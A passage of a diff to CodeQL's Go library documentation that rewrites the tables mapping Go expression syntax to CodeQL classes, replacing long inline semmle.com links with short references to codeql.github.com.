<https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ | `NeqExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$NeqExpr.html>`__ | `EqualityTestExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$EqualityTestExpr.html>`__ | -+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ ``&`` `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ | `AndExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$AndExpr.html>`__ | `BitwiseBinaryExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$BitwiseBinaryExpr.html>`__ | -+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ ``|`` `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ | `OrExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$OrExpr.html>`__ | `BitwiseBinaryExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$BitwiseBinaryExpr.html>`__ | -+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ ``^`` `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ | `XorExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$XorExpr.html>`__ | `BitwiseBinaryExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$BitwiseBinaryExpr.html>`__ | -+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ ``&^`` `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ | `AndNotExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$AndNotExpr.html>`__ | `BitwiseBinaryExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$BitwiseBinaryExpr.html>`__ | -+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------+ ++--------------------+--------------+---------------------------+--------------------+--------------------+ +| Expression syntax | CodeQL class | Superclasses | | | ++====================+==============+===========================+====================+====================+ +| Expr_ ``*`` Expr_ | MulExpr_ | ArithmeticBinaryExpr_ | | | ++--------------------+--------------+---------------------------+--------------------+--------------------+ +| Expr_ ``/`` Expr_ | QuoExpr_ | ArithmeticBinaryExpr_ | | | ++--------------------+--------------+---------------------------+--------------------+--------------------+ +| Expr_ ``%`` Expr_ | RemExpr_ | ArithmeticBinaryExpr_ | | | ++--------------------+--------------+---------------------------+--------------------+--------------------+ +| Expr_ ``+`` Expr_ | AddExpr_ | ArithmeticBinaryExpr_ | | | ++--------------------+--------------+---------------------------+--------------------+--------------------+ +| Expr_ ``-`` Expr_ | SubExpr_ | ArithmeticBinaryExpr_ | | | ++--------------------+--------------+---------------------------+--------------------+--------------------+ +| Expr_ ``<<`` Expr_ | ShlExpr_ | ShiftExpr_ | | | ++--------------------+--------------+---------------------------+--------------------+--------------------+ +| Expr_ ``>>`` Expr_ | ShrExpr_ | ShiftExpr_ | | | ++--------------------+--------------+---------------------------+--------------------+--------------------+ +| Expr_ ``&&`` Expr_ | LandExpr_ | LogicalBinaryExpr_ | | | ++--------------------+--------------+---------------------------+--------------------+--------------------+ +| Expr_ `` | | `` Expr_ | LorExpr_ | LogicalBinaryExpr_ | ++--------------------+--------------+---------------------------+--------------------+--------------------+ +| Expr_ ``<`` Expr_ | LssExpr_ | RelationalComparisonExpr_ | | | ++--------------------+--------------+---------------------------+--------------------+--------------------+ +| Expr_ ``>`` Expr_ | GtrExpr_ | RelationalComparisonExpr_ | | | ++--------------------+--------------+---------------------------+--------------------+--------------------+ +| Expr_ ``<=`` Expr_ | LeqExpr_ | RelationalComparisonExpr_ | | | ++--------------------+--------------+---------------------------+--------------------+--------------------+ +| Expr_ ``>=`` Expr_ | GeqExpr_ | RelationalComparisonExpr_ | | | ++--------------------+--------------+---------------------------+--------------------+--------------------+ +| Expr_ ``==`` Expr_ | EqlExpr_ | EqualityTestExpr_ | | | ++--------------------+--------------+---------------------------+--------------------+--------------------+ +| Expr_ ``!=`` Expr_ | NeqExpr_ | EqualityTestExpr_ | | | ++--------------------+--------------+---------------------------+--------------------+--------------------+ +| Expr_ ``&`` Expr_ | AndExpr_ | BitwiseBinaryExpr_ | | | ++--------------------+--------------+---------------------------+--------------------+--------------------+ +| Expr_ `` | `` Expr_ | OrExpr_ | BitwiseBinaryExpr_ | | ++--------------------+--------------+---------------------------+--------------------+--------------------+ +| Expr_ ``^`` Expr_ | XorExpr_ | BitwiseBinaryExpr_ | | | ++--------------------+--------------+---------------------------+--------------------+--------------------+ +| Expr_ ``&^`` Expr_ | AndNotExpr_ | BitwiseBinaryExpr_ | | | ++--------------------+--------------+---------------------------+--------------------+--------------------+ Type expressions ~~~~~~~~~~~~~~~~ @@ -385,101 +284,233 @@ Type expressions These classes represent different expressions for types. They do not have a common superclass. -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------+ -| Expression syntax | CodeQL class | Superclasses | -+=========================================================================================================================================================================================================+====================================================================================================================+====================================================================================================+ -| ``[``\ `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__\ ``]`` `TypeExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$TypeExpr.html>`__ | `ArrayTypeExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$ArrayTypeExpr.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------+ -| ``struct { ... }`` | `StructTypeExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$StructTypeExpr.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------+ -| ``func`` `FunctionName <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$FunctionName.html>`__\ ``(...) (...)`` | `FuncTypeExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$FuncTypeExpr.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------+ -| ``interface { ... }`` | `InterfaceTypeExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$InterfaceTypeExpr.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------+ -| ``map[``\ `TypeExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$TypeExpr.html>`__\ ``]``\ `TypeExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$TypeExpr.html>`__ | `MapTypeExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$MapTypeExpr.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------+ -| ``chan<-`` `TypeExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$TypeExpr.html>`__ | `SendChanTypeExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$SendChanTypeExpr.html>`__ | `ChanTypeExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$ChanTypeExpr.html>`__ | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------+ -| ``<-chan`` `TypeExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$TypeExpr.html>`__ | `RecvChanTypeExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$RecvChanTypeExpr.html>`__ | `ChanTypeExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$ChanTypeExpr.html>`__ | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------+ -| ``chan`` `TypeExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$TypeExpr.html>`__ | `SendRecvChanTypeExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$SendRecvChanTypeExpr.html>`__ | `ChanTypeExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$ChanTypeExpr.html>`__ | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------+ ++-----------------------------------------+-----------------------+---------------+ +| Expression syntax | CodeQL class | Superclasses | ++=========================================+=======================+===============+ +| ``[``\ Expr_\ ``]`` TypeExpr_ | ArrayTypeExpr_ | | ++-----------------------------------------+-----------------------+---------------+ +| ``struct { ... }`` | StructTypeExpr_ | | ++-----------------------------------------+-----------------------+---------------+ +| ``func`` FunctionName_\ ``(...) (...)`` | FuncTypeExpr_ | | ++-----------------------------------------+-----------------------+---------------+ +| ``interface { ... }`` | InterfaceTypeExpr_ | | ++-----------------------------------------+-----------------------+---------------+ +| ``map[``\ TypeExpr_\ ``]``\ TypeExpr_ | MapTypeExpr_ | | ++-----------------------------------------+-----------------------+---------------+ +| ``chan<-`` TypeExpr_ | SendChanTypeExpr_ | ChanTypeExpr_ | ++-----------------------------------------+-----------------------+---------------+ +| ``<-chan`` TypeExpr_ | RecvChanTypeExpr_ | ChanTypeExpr_ | ++-----------------------------------------+-----------------------+---------------+ +| ``chan`` TypeExpr_ | SendRecvChanTypeExpr_ | ChanTypeExpr_ | ++-----------------------------------------+-----------------------+---------------+ Name expressions ~~~~~~~~~~~~~~~~ All classes in this subsection are subclasses of -`Name <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Name.html>`__. +Name_. The following classes relate to the structure of the name. -+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------+ -| Expression syntax | CodeQL class | Superclasses | -+===================================================================================================================================================================================+======================================================================================================+====================================================================================================+ -| `Ident <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Ident.html>`__ | `SimpleName <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$SimpleName.html>`__ | `Ident <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Ident.html>`__ | -+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------+ -| `Ident <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Ident.html>`__\ ``.``\ `Ident <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Ident.html>`__ | `QualifiedName <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$QualifiedName.html>`__ | `SelectorExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$SelectorExpr.html>`__ | -+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------+ ++-----------------------+----------------+---------------+ +| Expression syntax | CodeQL class | Superclasses | ++=======================+================+===============+ +| Ident_ | SimpleName_ | Ident_ | ++-----------------------+----------------+---------------+ +| Ident_\ ``.``\ Ident_ | QualifiedName_ | SelectorExpr_ | ++-----------------------+----------------+---------------+ The following classes relate to what sort of entity the name refers to. -- `PackageName <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$PackageName.html>`__ -- `TypeName <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$TypeName.html>`__ -- `LabelName <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$LabelName.html>`__ -- `ValueName <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$ValueName.html>`__ +- PackageName_ +- TypeName_ +- LabelName_ +- ValueName_ - - `ConstantName <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$ConstantName.html>`__ - - `VariableName <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$VariableName.html>`__ - - `FunctionName <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$FunctionName.html>`__ +- ConstantName_ +- VariableName_ +- FunctionName_ Miscellaneous ~~~~~~~~~~~~~ -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| Expression syntax | CodeQL class | Superclasses | Remarks | -+============================================================================================================================================================================================================================================================================================================================================================================+========================================================================================================+====================================================================================================================+==========================================================================================================================================================================================================================+ -| ``foo`` | `Ident <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Ident.html>`__ | | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``_`` | `BlankIdent <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$BlankIdent.html>`__ | | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``...`` | `Ellipsis <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Ellipsis.html>`__ | | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``(``\ `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__\ ``)`` | `ParenExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$ParenExpr.html>`__ | | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Ident <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Ident.html>`__\ ``.``\ `Ident <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Ident.html>`__ | `SelectorExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$SelectorExpr.html>`__ | | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__\ ``[``\ `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__\ ``]`` | `IndexExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$IndexExpr.html>`__ | | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__\ ``[``\ `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__\ ``:``\ `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__\ ``:``\ `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__\ ``]`` | `SliceExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$SliceExpr.html>`__ | | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__\ ``.(``\ `TypeExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$TypeExpr.html>`__\ ``)`` | `TypeAssertExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$TypeAssertExpr.html>`__ | | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``*``\ `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ | `StarExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$StarExpr.html>`__ | | can be a `ValueExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$ValueExpr.html>`__ or `TypeExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$TypeExpr.html>`__ depending on context | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__\ ``:`` `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__ | `KeyValueExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$KeyValueExpr.html>`__ | | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `TypeExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$TypeExpr.html>`__\ ``(``\ `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__\ ``)`` | `ConversionExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$ConversionExpr.html>`__ | `CallOrConversionExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$CallOrConversionExpr.html>`__ | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html>`__\ ``(...)`` | `CallExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$CallExpr.html>`__ | `CallOrConversionExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$CallOrConversionExpr.html>`__ | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| (anything unparseable) | `BadExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$BadExpr.html>`__ | | | -+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ ++--------------------------------------------------------+-----------------+-----------------------+-------------------------------------------------------+ +| Expression syntax | CodeQL class | Superclasses | Remarks | ++========================================================+=================+=======================+=======================================================+ +| ``foo`` | Ident_ | | | ++--------------------------------------------------------+-----------------+-----------------------+-------------------------------------------------------+ +| ``_`` | BlankIdent_ | | | ++--------------------------------------------------------+-----------------+-----------------------+-------------------------------------------------------+ +| ``...`` | Ellipsis_ | | | ++--------------------------------------------------------+-----------------+-----------------------+-------------------------------------------------------+ +| ``(``\ Expr_\ ``)`` | ParenExpr_ | | | ++--------------------------------------------------------+-----------------+-----------------------+-------------------------------------------------------+ +| Ident_\ ``.``\ Ident_ | SelectorExpr_ | | | ++--------------------------------------------------------+-----------------+-----------------------+-------------------------------------------------------+ +| Expr_\ ``[``\ Expr_\ ``]`` | IndexExpr_ | | | ++--------------------------------------------------------+-----------------+-----------------------+-------------------------------------------------------+ +| Expr_\ ``[``\ Expr_\ ``:``\ Expr_\ ``:``\ Expr_\ ``]`` | SliceExpr_ | | | ++--------------------------------------------------------+-----------------+-----------------------+-------------------------------------------------------+ +| Expr_\ ``.(``\ TypeExpr_\ ``)`` | TypeAssertExpr_ | | | ++--------------------------------------------------------+-----------------+-----------------------+-------------------------------------------------------+ +| ``*``\ Expr_ | StarExpr_ | | can be a ValueExpr_ or TypeExpr_ depending on context | ++--------------------------------------------------------+-----------------+-----------------------+-------------------------------------------------------+ +| Expr_\ ``:`` Expr_ | KeyValueExpr_ | | | ++--------------------------------------------------------+-----------------+-----------------------+-------------------------------------------------------+ +| TypeExpr_\ ``(``\ Expr_\ ``)`` | ConversionExpr_ | CallOrConversionExpr_ | | ++--------------------------------------------------------+-----------------+-----------------------+-------------------------------------------------------+ +| Expr_\ ``(...)`` | CallExpr_ | CallOrConversionExpr_ | | ++--------------------------------------------------------+-----------------+-----------------------+-------------------------------------------------------+ +| (anything unparseable) | BadExpr_ | | | ++--------------------------------------------------------+-----------------+-----------------------+-------------------------------------------------------+ The following classes organize expressions by the kind of entity they refer to. -+------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| CodeQL class | Explanation | -+======================================================================================================+=========================================================================================================================================================================================================================================================+ -| `TypeExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$TypeExpr.html>`__ | an expression that denotes a type | -+------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `ReferenceExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$ReferenceExpr.html>`__ | an expression that refers to a variable, a constant, a function, a field, or an element of an array or a slice | -+------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `ValueExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$BadExpr.html>`__ | an expression that can be evaluated to a value (as opposed to expressions that refer to a package, a type, or a statement label). This generalizes `ReferenceExpr <https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$ReferenceExpr.html>`__ | -+------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ ++----------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| CodeQL class | Explanation | ++================+===================================================================================================================================================================+ +| TypeExpr_ | an expression that denotes a type | ++----------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ReferenceExpr_ | an expression that refers to a variable, a constant, a function, a field, or an element of an array or a slice | ++----------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ValueExpr_ | an expression that can be evaluated to a value (as opposed to expressions that refer to a package, a type, or a statement label). This generalizes ReferenceExpr_ | ++----------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------+ + Further reading --------------- .. include:: ../reusables/go-further-reading.rst -.. include:: ../reusables/codeql-ref-tools-further-reading.rst \ No newline at end of file +.. include:: ../reusables/codeql-ref-tools-further-reading.rst + +.. _Stmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$Stmt.html +.. _Expr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$Expr.html +.. _IntLit: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$IntLit.html +.. _BasicLit: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$BasicLit.html +.. _FloatLit: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$FloatLit.html +.. _ImagLit: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$ImagLit.html +.. _CharLit: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$CharLit.html +.. _StringLit: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$StringLit.html +.. _FuncLit: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$FuncLit.html +.. _FuncDef: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Decls.qll/type.Decls$FuncDef.html +.. _MapLit: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$MapLit.html +.. _CompositeLit: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$CompositeLit.html +.. _StructLit: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$StructLit.html +.. _UnaryExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$UnaryExpr.html +.. _PlusExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$PlusExpr.html +.. _ArithmeticUnaryExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$ArithmeticUnaryExpr.html +.. _MinusExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$MinusExpr.html +.. _NotExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$NotExpr.html +.. _LogicalUnaryExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$LogicalUnaryExpr.html +.. _ComplementExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$ComplementExpr.html +.. _BitwiseUnaryExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$BitwiseUnaryExpr.html +.. _AddressExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$AddressExpr.html +.. _RecvExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$RecvExpr.html +.. _BinaryExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$BinaryExpr.html +.. _MulExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$MulExpr.html +.. _ArithmeticBinaryExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$ArithmeticBinaryExpr.html +.. _QuoExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$QuoExpr.html +.. _RemExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$RemExpr.html +.. _AddExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$AddExpr.html +.. _SubExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$SubExpr.html +.. _ShlExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$ShlExpr.html +.. _ShiftExpr: 